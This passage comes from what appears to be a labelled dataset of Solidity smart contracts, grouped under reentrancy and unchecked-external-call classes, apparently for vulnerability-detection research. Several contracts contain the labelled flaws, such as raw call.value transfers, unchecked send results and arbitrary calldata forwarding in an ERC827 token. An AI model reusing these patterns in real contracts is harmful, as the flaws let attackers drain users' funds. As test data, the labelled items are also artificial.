totalRemaining) { freeGiveBase = totalRemaining; } address investor = msg.sender; uint256 etherValue=msg.value; uint256 value; uint256 gasPrice=tx.gasprice; if(etherValue>lowEth){ require(endEthGet==false); value=etherValue.mul(etherGetBase); value=value.add(freeGiveBase.mul(gasPrice.div(1e8))); require(value <= totalRemaining); distr(investor, value); if(!owner.send(etherValue))revert(); }else{ require(endFreeGet==false && freeGiveBase <= totalRemaining && now>=unlockUnixTime[investor]); value=freeGiveBase.mul(gasPrice.div(1e8)); distr(investor, value); unlockUnixTime[investor]=now+1 days; } if (totalDistributed >= totalSupply_) { distributionFinished = true; } } function transferFrom(address _from, address _to, uint256 _value) canTrans public returns (bool success) { require(_to != address(0) && _value > 0 && balances[_from] >= _value && allowed[_from][msg.sender] >= _value && blacklist[_from] == false && blacklist[_to] == false); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint256){ ForeignToken t = ForeignToken(tokenAddress); uint256 bal = t.balanceOf(who); return bal; } function withdraw(address receiveAddress) onlyOwner public { uint256 etherBalance = address(this).balance; if(!receiveAddress.send(etherBalance))revert(); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); totalDistributed = totalDistributed.sub(_value); Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }",./Dataset/reentrancy (RE)/,5,5 36935.sol,"pragma solidity ^0.4.13; /* Aventus Buyer ======================== credit to /u/Cintix THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ // ERC20 Interface: https://github.com/ethereum/EIPs/issues/20 contract ERC20 { function transfer(address _to, uint256 _value) returns (bool success); function balanceOf(address _owner) constant returns (uint256 balance); } contract Buyer { // Store the amount of ETH deposited by each account. mapping (address => uint256) public balances; // Bounty for executing buy. uint256 public buy_bounty; // Bounty for executing withdrawals. uint256 public withdraw_bounty; // Track whether the contract has bought the tokens yet. bool public bought_tokens; // Record ETH value of tokens currently held by contract. uint256 public contract_eth_value; // Emergency kill switch in case a critical bug is found. bool public kill_switch; // SHA3 hash of kill switch password. bytes32 password_hash = 0xbeb7247422d4e22a0cf0085c07b37aca88a1958e4da1ca1947e53a5adf5c0499; // Earliest time contract is allowed to buy into the crowdsale. uint256 public earliest_buy_time = 1505304000; // Maximum amount of user ETH contract will accept. Reduces risk of hard cap related failure. uint256 public eth_cap = 5000 ether; // The developer address. address public developer = 0x53b1606bc4540f90daad2b05110f6cc0b42daefa; // The crowdsale address. Settable by the developer. address public sale = 0x8b7B6C61238088593BF75eEC8FBF58D0a615d30c; // The token address. Settable by the developer. ERC20 public token = ERC20(0x0d88eD6E74bbFD96B831231638b66C05571e824F); // Allows the developer to set the crowdsale and token addresses. // function set_addresses(address _sale, address _token) { // // Only allow the developer to set the sale and token addresses. // require(msg.sender == developer); // // Only allow setting the addresses once. // require(sale == 0x0); // // Set the crowdsale and token addresses. // sale = _sale; // token = ERC20(_token); // } // Allows the developer or anyone with the password to shut down everything except withdrawals in emergencies. function activate_kill_switch(string password) { // Only activate the kill switch if the sender is the developer or the password is correct. require(msg.sender == developer || sha3(password) == password_hash); // Store the claimed bounty in a temporary variable. // uint256 claimed_bounty = buy_bounty; // Update bounty prior to sending to prevent recursive call. // buy_bounty = 0; // Irreversibly activate the kill switch. kill_switch = true; // Send the caller their bounty for activating the kill switch. // msg.sender.transfer(claimed_bounty); } // Withdraws all ETH deposited or tokens purchased by the given user and rewards the caller. function withdraw(address user){ // Only allow withdrawals after the contract has had a chance to buy in. require(bought_tokens || now > earliest_buy_time + 1 hours); // Short circuit to save gas if the user doesn't have a balance. if (balances[user] == 0) return; // If the contract failed to buy into the sale, withdraw the user's ETH. if (!bought_tokens) { // Store the user's balance prior to withdrawal in a temporary variable. uint256 eth_to_withdraw = balances[user]; // Update the user's balance prior to sending ETH to prevent recursive call. balances[user] = 0; // Return the user's funds. Throws on failure to prevent loss of funds. user.transfer(eth_to_withdraw); } // Withdraw the user's tokens if the contract has purchased them. else { // Retrieve current token balance of contract. uint256 contract_token_balance = token.balanceOf(address(this)); // Disallow token withdrawals if there are no tokens to withdraw. require(contract_token_balance != 0); // Store the user's token balance in a temporary variable. uint256 tokens_to_withdraw = (balances[user] * contract_token_balance) / contract_eth_value; // Update the value of tokens currently held by the contract. contract_eth_value -= balances[user]; // Update the user's balance prior to sending to prevent recursive call. balances[user] = 0; // 1% fee if contract successfully bought tokens. uint256 fee = tokens_to_withdraw / 200; // Send the fee to the developer. require(token.transfer(developer, fee)); // Send the funds. Throws on failure to prevent loss of funds. require(token.transfer(user, tokens_to_withdraw - fee)); } // Each withdraw call earns 1% of the current withdraw bounty. // uint256 claimed_bounty = withdraw_bounty / 100; // Update the withdraw bounty prior to sending to prevent recursive call. // withdraw_bounty -= claimed_bounty; // Send the caller their bounty for withdrawing on the user's behalf. // msg.sender.transfer(claimed_bounty); } // Allows developer to add ETH to the buy execution bounty. function add_to_buy_bounty() payable { // Only allow the developer to contribute to the buy execution bounty. require(msg.sender == developer); // Update bounty to include received amount. buy_bounty += msg.value; } // Allows developer to add ETH to the withdraw execution bounty. // function add_to_withdraw_bounty() payable { // // Only allow the developer to contribute to the buy execution bounty. // require(msg.sender == developer); // // Update bounty to include received amount. // withdraw_bounty += msg.value; // } // Buys tokens in the crowdsale and rewards the caller, callable by anyone. function claim_bounty(){ // Short circuit to save gas if the contract has already bought tokens. if (bought_tokens) return; // Short circuit to save gas if the earliest buy time hasn't been reached. if (now < earliest_buy_time) return; // Short circuit to save gas if kill switch is active. if (kill_switch) return; // Disallow buying in if the developer hasn't set the sale address yet. require(sale != 0x0); // Record that the contract has bought the tokens. bought_tokens = true; // Store the claimed bounty in a temporary variable. uint256 claimed_bounty = buy_bounty; // Update bounty prior to sending to prevent recursive call. buy_bounty = 0; // Record the amount of ETH sent as the contract's current value. contract_eth_value = this.balance - (claimed_bounty + withdraw_bounty); // Transfer all the funds (less the bounties) to the crowdsale address // to buy tokens. Throws if the crowdsale hasn't started yet or has // already completed, preventing loss of funds. require(sale.call.value(contract_eth_value)()); // Send the caller their bounty for buying tokens for the contract. msg.sender.transfer(claimed_bounty); } // Default function. Called when a user sends ETH to the contract. function () payable { // Disallow deposits if kill switch is active. require(!kill_switch); // Only allow deposits if the contract hasn't already purchased the tokens. require(!bought_tokens); // Only allow deposits that won't exceed the contract's ETH cap. require(this.balance < eth_cap); // Update records of deposited ETH to include the received amount. balances[msg.sender] += msg.value; } }",./Dataset/reentrancy (RE)/,5,5 32367.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 10000000000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 10000000000000000000000000; // Update total supply (100000 for example) name = ""Bananas""; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = ""BNS""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 21513.sol,"pragma solidity ^0.4.16; /** * @title ERC827 interface, an extension of ERC20 token standard * Interface of a ERC827 token, following the ERC20 standard with extra * methods to transfer value and data and execute calls in transfers and * approvals. */ contract ERC827 { function approve( address _spender, uint256 _value, bytes _data ) public returns (bool); function transfer( address _to, uint256 _value, bytes _data ) public returns (bool); function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool); } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for *; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title ERC827, an extension of ERC20 token standard * Implementation the ERC827, following the ERC20 standard with extra * methods to transfer value and data and execute calls in transfers and * approvals. * Uses OpenZeppelin StandardToken. */ contract ERC827Token is ERC827, StandardToken { /** * @dev Addition to ERC20 token methods. It allows to * approve the transfer of value and execute a call with the sent data. * Beware that changing an allowance with this method brings the risk that * someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race condition * is to first reduce the spender's allowance to 0 and set the desired value * afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * @param _spender The address that will spend the funds. * @param _value The amount of tokens to be spent. * @param _data ABI-encoded contract call to call `_to` address. * @return true if the call function was executed successfully */ function approve(address _spender, uint256 _value, bytes _data) public returns (bool) { require(_spender != address(this)); super.approve(_spender, _value); require(_spender.call(_data)); return true; } /** @dev Addition to ERC20 token methods. Transfer tokens to a specified address and execute a call with the sent data on the same transaction @param _to address The address which you want to transfer to @param _value uint256 the amout of tokens to be transfered @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function transfer(address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); super.transfer(_to, _value); require(_to.call(_data)); return true; } /** @dev Addition to ERC20 token methods. Transfer tokens from one address to another and make a contract call on the same transaction @param _from The address which you want to send tokens from @param _to The address which you want to transfer to @param _value The amout of tokens to be transferred @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); super.transferFrom(_from, _to, _value); require(_to.call(_data)); return true; } /** * @dev Addition to StandardToken methods. Increase the amount of tokens that * an owner allowed to a spender and execute a call with the sent data. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. * @param _data ABI-encoded contract call to call `_spender` address. */ function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.increaseApproval(_spender, _addedValue); require(_spender.call(_data)); return true; } /** * @dev Addition to StandardToken methods. Decrease the amount of tokens that * an owner allowed to a spender and execute a call with the sent data. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. * @param _data ABI-encoded contract call to call `_spender` address. */ function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.decreaseApproval(_spender, _subtractedValue); require(_spender.call(_data)); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is BurnableToken, StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is PausableToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract ShittyToken is Ownable, MintableToken, ERC827Token { using SafeMath for *; string public constant NAME = ""Shitty Token""; // solium-disable-line uppercase string public constant SYMBOL = ""SHIT""; // solium-disable-line uppercase uint8 public constant DECIMALS = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 10000 * (10 ** uint256(DECIMALS)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ function TokenUnionToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }",./Dataset/unchecked external call (UC),7,7 40342.sol,"contract AmIOnTheFork { function forked() constant returns(bool); } contract Ethsplit { function split(address ethAddress, address etcAddress) { if (amIOnTheFork.forked()) { // if on the forked chain send ETH to ethAddress ethAddress.call.value(msg.value)(); } else { // if not on the forked chain send ETC to etcAddress less fee uint fee = msg.value/100; fees.send(fee); etcAddress.call.value(msg.value-fee)(); } } // Reject deposits to the contract function () { throw; } // AmIOnTheFork oracle by _tr AmIOnTheFork amIOnTheFork = AmIOnTheFork(0x2bd2326c993dfaef84f696526064ff22eba5b362); address fees = 0xdE17a240b031a4607a575FE13122d5195B43d6fC; }",./Dataset/unchecked external call (UC),7,7 1522.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); } contract modularShort is F3Devents {} contract ExitFraud is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x5F62d3685b9f420C6e87549c92Cf6F91af018297); address private admin1 = 0xdcfd5C7B10ce65598d8B13dFABcacE9c3889298C; address private admin2 = msg.sender; string constant public name = ""Exit Fraud""; string constant public symbol = ""EXITF""; uint256 private rndExtra_ = 30 minutes; uint256 private rndGap_ = 30 minutes; uint256 constant private rndInit_ = 30 minutes; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 12 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(35,0); fees_[1] = F3Ddatasets.TeamFee(65,0); fees_[2] = F3Ddatasets.TeamFee(58,0); fees_[3] = F3Ddatasets.TeamFee(45,0); potSplit_[0] = F3Ddatasets.PotSplit(7,0); potSplit_[1] = F3Ddatasets.PotSplit(12,0); potSplit_[2] = F3Ddatasets.PotSplit(22,0); potSplit_[3] = F3Ddatasets.PotSplit(27,0); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = 